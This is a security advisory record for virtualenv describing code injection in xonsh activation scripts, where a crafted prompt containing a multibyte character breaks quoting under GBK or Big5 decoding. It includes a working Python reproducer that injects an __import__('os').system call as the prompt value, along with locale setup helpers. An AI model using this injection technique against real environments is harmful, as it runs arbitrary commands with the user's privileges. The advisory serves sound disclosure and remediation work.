{"id":"GHSA-394h-qwmc-48pf","summary":"virtualenv: Xonsh activation literals depend on the script decoding codec","details":"## Summary\n\nCaller-supplied prompt text can become executable syntax in the xonsh activation script. An attacker must influence the\nvalue passed to virtualenv, and a user must subsequently activate the environment.\n\n## Affected area\n\nXonsh reads a UTF-8 activation script using a legacy multibyte encoding such as GBK. Printable non-ASCII bytes can\nchange how the reader recognizes an adjacent quote. The report concerns POSIX activation. It does not establish exposure\nthrough unrelated activators.\n\n## Attacker-controlled input\n\nThe attacker controls prompt or destination data passed as a virtualenv argument. The user later sources the generated\nactivation script.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[xonsh quote()](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/activation/xonsh/__init__.py),\n[UTF-8 template writer](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/activation/via_template.py).\n\n## Mechanism\n\nThe generator writes `activate.xsh` as UTF-8. Its `quote()` used `repr()`, which leaves printable non-ASCII characters\nin the file and backslash-escapes an embedded quote. Xonsh's `source` reads the file using `$XONSH_ENCODING`. With GBK\nor Big5, the UTF-8 bytes of `中` end in `0xad`, which pairs with the following `0x5c` backslash as one decoded character.\nThe backslash no longer escapes the quote. A prompt containing both quote kinds can then close its Python string literal\nand supply statements that run during activation. With UTF-8 source decoding, the same value stays inside the literal.\n\n## Reproduction and evidence\n\nThe original scanner finding, `ANT-2026-PAUVP7YL`, demonstrated this byte-level failure in `activate_this.py`: a hostile\nprompt loaded through `exec(open(file).read(), ...)` under GBK created a marker, while UTF-8 and `runpy.run_path`\ncontrols did not. The xonsh path in this advisory was identified in the subsequent maintainer-provided review.\n[PR #3432](https://github.com/pypa/virtualenv/pull/3432) shows the xonsh source-decoding chain and changes `quote()` to\n`ascii()`, which writes non-ASCII characters as escapes. Its regression test encodes the generated literal as ASCII,\ndecodes it as GBK, and checks that `ast.literal_eval` returns the original prompt.\n\nThe attack needs control of the prompt or destination value, an affected xonsh source encoding, and later sourcing of\nthe generated file. The original `activate_this.py` reproducer does not itself prove xonsh execution; that result is\nattributed to the separate review. Existing `activate.xsh` files must be regenerated after the fix.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n    participant A as Prompt supplier\n    participant V as virtualenv quote()\n    participant F as activate.xsh bytes\n    participant X as xonsh source\n    A-\u003e\u003eV: 中 plus escaped quote and statements\n    V-\u003e\u003eF: repr writes UTF-8 中 followed by backslash\n    alt XONSH_ENCODING is UTF-8\n        F-\u003e\u003eX: backslash remains an escape\n        X--\u003e\u003eA: prompt remains data\n    else XONSH_ENCODING is GBK or Big5\n        F-\u003e\u003eX: decoder consumes backslash as trail byte\n        X-\u003e\u003eX: quote closes and statements run\n    end\n    Note over V,X: ascii() emits only ASCII bytes and preserves the literal\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-PAUVP7YL`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport os\nimport subprocess\nimport sys\nfrom pathlib import Path\nfrom shutil import rmtree\n\nwork = Path(\"/tmp/activate-this-gbk\")\nrmtree(work, ignore_errors=True)\nwork.mkdir()\nenv_dir = work / \"venv\"\nmarker = work / \"MARKER\"\n\n# set up: a zh_CN.GBK locale, which the image does not ship\nsubprocess.run([sys.executable, \"/tmp/repro.d/install_gbk_locale.py\", work / \"locales\"], check=True)\nutf8_session = {\"PATH\": os.environ[\"PATH\"], \"LANG\": \"C.UTF-8\"}\ngbk_session = {\"PATH\": os.environ[\"PATH\"], \"LANG\": \"zh_CN.GBK\", \"LOCPATH\": str(work / \"locales\")}\n\n# attacker: text that a tool relays as --prompt\n# the payload's \" makes repr() delimit with ' and write the prompt's own ' as \\'\n# 中 is e4 b8 ad in UTF-8; GBK reads e4 b8 as one character and ad 5c, ad plus that backslash, as the next\npayload = f'__import__(\"os\").system(\"touch {marker}\")'\nhostile_prompt = \"中\" + \"';\" + payload + \"#\"\n\n# user: creates the environment with the virtualenv command\nsubprocess.run([\"virtualenv\", \"--quiet\", \"--no-periodic-update\", \"--prompt\", hostile_prompt, env_dir], check=True)\nactivate_this = (env_dir / \"bin\" / \"activate_this.py\").read_bytes()\nprompt_line = next(line for line in activate_this.splitlines() if line.startswith(b'os.environ[\"VIRTUAL_ENV_PROMPT\"]'))\nprint(f\"activate_this.py read as UTF-8: {prompt_line.decode('utf-8')}\")\nprint(f\"activate_this.py read as GBK:   {prompt_line.decode('gbk')}\")\nassert not marker.exists(), \"payload ran at creation time\"\n\n# trigger: the same program activates the environment, first in a UTF-8 session, then in a GBK one\nactivate = [sys.executable, \"/tmp/repro.d/activate_with_exec_open.py\", env_dir]\ncontrol = subprocess.run(activate, env=utf8_session, stdout=subprocess.PIPE, encoding=\"utf-8\", check=True)\nran_in_utf8_session = marker.exists()\nprint(f\"CONTROL  UTF-8 session: {control.stdout.strip()}; {marker} exists: {ran_in_utf8_session}\")\n\nobserved = subprocess.run(activate, env=gbk_session, stdout=subprocess.PIPE, encoding=\"gbk\", check=True)\nran_in_gbk_session = marker.exists()\nprint(f\"OBSERVED GBK session:   {observed.stdout.strip()}; {marker} exists: {ran_in_gbk_session}\")\n\n# check: the prompt is data and must not run in either session\nprint(\"BUG\" if ran_in_gbk_session and not ran_in_utf8_session else \"OK\")\n```\n\n**`repro.d/activate_with_exec_open.py`**\n\n```text\n#!/usr/bin/env python3\n# usage: activate_with_exec_open.py ENV_DIR\n# A program that activates a virtualenv the way activate_this.py's docstring said to until virtualenv 20.26.2.\nimport locale\nimport os\nimport sys\n\nthis_file = os.path.join(sys.argv[1], \"bin\", \"activate_this.py\")\nexec(open(this_file).read(), {\"__file__\": this_file})\n\nprint(f\"open() decodes as {locale.getpreferredencoding(False)}, VIRTUAL_ENV_PROMPT is {os.environ['VIRTUAL_ENV_PROMPT']}\")\n```\n\n**`repro.d/install_gbk_locale.py`**\n\n```text\n#!/usr/bin/env python3\n# usage: install_gbk_locale.py LOCPATH\n# Does what `locale-gen zh_CN.GBK` would; the image has glibc's localedef but no charmap or locale sources.\nimport os\nimport subprocess\nimport sys\n\nlocpath = sys.argv[1]\nos.makedirs(locpath)\n\ncharmap = [\"\u003ccode_set_name\u003e GBK\", \"\u003ccomment_char\u003e %\", \"\u003cescape_char\u003e /\", \"\u003cmb_cur_min\u003e 1\", \"\u003cmb_cur_max\u003e 2\", \"CHARMAP\"]\ncharmap += [f\"\u003cU{byte:04X}\u003e /x{byte:02x}\" for byte in range(0x80)]\nfor lead in range(0x81, 0xFF):\n    for trail in range(0x40, 0xFF):\n        try:\n            char = bytes([lead, trail]).decode(\"gbk\")\n        except UnicodeDecodeError:\n            continue\n        charmap.append(f\"\u003cU{ord(char):04X}\u003e /x{lead:02x}/x{trail:02x}\")\ncharmap.append(\"END CHARMAP\")\nwith open(f\"{locpath}/GBK.charmap\", \"w\") as charmap_file:\n    charmap_file.write(\"\\n\".join(charmap) + \"\\n\")\n\n# -c: the source has no LC_TIME, LC_MONETARY, ...; localedef fills in defaults, warns and exits 1, so check the result below\nsource = \"/tmp/repro.d/zh_CN_minimal.locale\"\nsubprocess.run([\"localedef\", \"-c\", \"-f\", f\"{locpath}/GBK.charmap\", \"-i\", source, f\"{locpath}/zh_CN.GBK\"], capture_output=True)\n\ngbk_session = {\"PATH\": os.environ[\"PATH\"], \"LANG\": \"zh_CN.GBK\", \"LOCPATH\": locpath}\ncodeset = subprocess.run([\"locale\", \"charmap\"], env=gbk_session, capture_output=True, text=True, check=True)\nif codeset.stdout.strip() != \"GBK\" or codeset.stderr:\n    sys.exit(f\"zh_CN.GBK locale not usable: {codeset}\")\n```\n\n**`repro.d/zh_CN_minimal.locale`**\n\n```text\ncomment_char %\nescape_char /\n% Stand-in for glibc's locales/zh_CN: ASCII character classes only. What matters is the codeset name, GBK, which\n% comes from the charmap given to localedef with -f.\nLC_CTYPE\nupper \u003cU0041\u003e..\u003cU005A\u003e\nlower \u003cU0061\u003e..\u003cU007A\u003e\ndigit \u003cU0030\u003e..\u003cU0039\u003e\nspace \u003cU0009\u003e..\u003cU000D\u003e;\u003cU0020\u003e\ncntrl \u003cU0000\u003e..\u003cU001F\u003e;\u003cU007F\u003e\npunct \u003cU0021\u003e..\u003cU002F\u003e;\u003cU003A\u003e..\u003cU0040\u003e;\u003cU005B\u003e..\u003cU0060\u003e;\u003cU007B\u003e..\u003cU007E\u003e\nxdigit \u003cU0030\u003e..\u003cU0039\u003e;\u003cU0041\u003e..\u003cU0046\u003e;\u003cU0061\u003e..\u003cU0066\u003e\nblank \u003cU0009\u003e;\u003cU0020\u003e\nEND LC_CTYPE\nLC_COLLATE\norder_start forward\nUNDEFINED\norder_end\nEND LC_COLLATE\n```\n\n## Impact\n\nAn affected activation can execute commands with the user's privileges. Severity is high, following the generated-script\nprecedent in [GHSA-p58f-9548-mpm2](https://github.com/pypa/virtualenv/security/advisories/GHSA-p58f-9548-mpm2). The\nattack requires control of argument data and subsequent user activation; it does not require replacing an executable or\ncontrolling app-data contents.\n\n## Versions tested\n\nThe supplied follow-up review marks command execution as independently confirmed by its author. The implementation\nreview used source inspection and patched literal-value checks, without rerunning that exploit. The relevant activation\nsource is identical between release 21.14.8 and upstream/main 233359cb. The maintainer previously confirmed validation\nof the reported findings on 21.14.8. The first affected version has not been established. Fixed in 21.14.9.\n\n## Known mitigation\n\nUse trusted prompt and destination values. Use UTF-8 source decoding in xonsh on older releases.\nRecreate environments with virtualenv 21.14.9 or later.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nThe original report was supplied by Anthropic's OSS Scanner as ANT-2026-PAUVP7YL. The subsequent maintainer-provided\nreview identified the remaining activation path.\n\n## Additional fix branch\n\n[PR #3411](https://github.com/pypa/virtualenv/pull/3411) also uses ASCII-only literals for paths and prompts, alongside\nits activation-state changes. Both branches must retain this quoting rule when integrated.","aliases":["CVE-2026-113718"],"modified":"2026-10-23T22:30:04.082586117Z","published":"2026-10-23T22:24:43Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2026-10-23T22:24:43Z","nvd_published_at":"2026-10-20T20:17:18Z","cwe_ids":["CWE-94"],"severity":"HIGH"},"references":[{"type":"WEB","url":"https://github.com/pypa/virtualenv/security/advisories/GHSA-394h-qwmc-48pf"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113718"},{"type":"WEB","url":"https://github.com/pypa/virtualenv/pull/3432"},{"type":"WEB","url":"https://github.com/pypa/virtualenv/commit/e5fc2e6e189a877ff559af288919e3525d13e5e0"},{"type":"PACKAGE","url":"https://github.com/pypa/virtualenv"},{"type":"WEB","url":"https://github.com/pypa/virtualenv/releases/tag/21.14.9"}],"affected":[{"package":{"name":"virtualenv","ecosystem":"PyPI","purl":"pkg:pypi/virtualenv"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"21.14.9"}]}],"versions":["0.8","0.8.1","0.8.2","0.8.3","0.8.4","0.9","0.9.1","0.9.2","1.0","1.1","1.10","1.10.1","1.11","1.11.1","1.11.2","1.11.3","1.11.4","1.11.5","1.11.6","1.2","1.3","1.3.1","1.3.2","1.3.3","1.3.4","1.4","1.4.1","1.4.2","1.4.3","1.4.4","1.4.5","1.4.6","1.4.7","1.4.8","1.4.9","1.4rc1","1.5","1.5.1","1.5.2","1.6","1.6.1","1.6.2","1.6.3","1.6.4","1.7","1.7.1","1.7.1.1","1.7.1.2","1.7.2","1.8","1.8.1","1.8.2","1.8.3","1.8.4","1.9","1.9.1","12.0","12.0.1","12.0.2","12.0.4","12.0.5","12.0.6","12.0.7","12.1.0","12.1.1","13.0.0","13.0.1","13.0.2","13.0.3","13.1.0","13.1.1","13.1.2","14.0.0","14.0.1","14.0.2","14.0.3","14.0.4","14.0.5","14.0.6","15.0.0","15.0.1","15.0.2","15.0.3","15.1.0","15.2.0","16.0.0","16.1.0","16.2.0","16.3.0","16.3.1.dev0","16.4.0","16.4.1","16.4.3","16.4.4.dev0","16.5.0","16.6.0","16.6.1","16.6.2","16.7.0","16.7.1","16.7.10","16.7.11","16.7.12","16.7.2","16.7.3","16.7.4","16.7.5","16.7.6","16.7.7","16.7.8","16.7.9","20.0.0","20.0.0b1","20.0.0b2","20.0.1","20.0.10","20.0.11","20.0.12","20.0.13","20.0.14","20.0.15","20.0.16","20.0.17","20.0.18","20.0.19","20.0.2","20.0.20","20.0.21","20.0.22","20.0.23","20.0.24","20.0.25","20.0.26","20.0.27","20.0.28","20.0.29","20.0.3","20.0.30","20.0.31","20.0.32","20.0.33","20.0.34","20.0.35","20.0.4","20.0.5","20.0.6","20.0.7","20.0.8","20.0.9","20.1.0","20.10.0","20.11.0","20.11.1","20.11.2","20.12.0","20.12.1","20.13.0","20.13.1","20.13.2","20.13.3","20.13.4","20.14.0","20.14.1","20.15.0","20.15.1","20.16.0","20.16.1","20.16.2","20.16.3","20.16.4","20.16.5","20.16.6","20.16.7","20.17.0","20.17.1","20.18.0","20.19.0","20.2.0","20.2.1","20.2.2","20.20.0","20.21.0","20.21.1","20.22.0","20.23.0","20.23.1","20.24.0","20.24.1","20.24.2","20.24.3","20.24.4","20.24.5","20.24.6","20.24.7","20.25.0","20.25.1","20.25.2","20.25.3","20.26.0","20.26.1","20.26.2","20.26.3","20.26.4","20.26.5","20.26.6","20.27.0","20.27.1","20.28.0","20.28.1","20.29.0","20.29.1","20.29.2","20.29.3","20.3.0","20.3.1","20.30.0","20.31.0","20.31.1","20.31.2","20.32.0","20.33.0","20.33.1","20.34.0","20.35.0","20.35.1","20.35.2","20.35.3","20.35.4","20.36.0","20.36.1","20.38.0","20.39.0","20.39.1","20.4.0","20.4.1","20.4.2","20.4.3","20.4.4","20.4.5","20.4.6","20.4.7","20.5.0","20.6.0","20.7.0","20.7.1","20.7.2","20.8.0","20.8.1","20.9.0","21.0.0","21.1.0","21.10.0","21.11.0","21.11.1","21.12.0","21.12.1","21.13.0","21.14.0","21.14.1","21.14.2","21.14.3","21.14.4","21.14.5","21.14.6","21.14.7","21.14.8","21.2.0","21.2.1","21.2.2","21.2.3","21.2.4","21.3.0","21.3.1","21.3.2","21.3.3","21.4.0","21.4.1","21.4.2","21.4.3","21.5.0","21.5.1","21.5.2","21.6.0","21.6.1","21.7.0","21.7.1","21.7.10","21.7.11","21.7.12","21.7.13","21.7.14","21.7.15","21.7.16","21.7.2","21.7.3","21.7.4","21.7.5","21.7.6","21.7.7","21.7.8","21.7.9","21.8.1","21.9.0","21.9.1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-394h-qwmc-48pf/GHSA-394h-qwmc-48pf.json"}}],"schema_version":"1.9.2","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:H/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}]}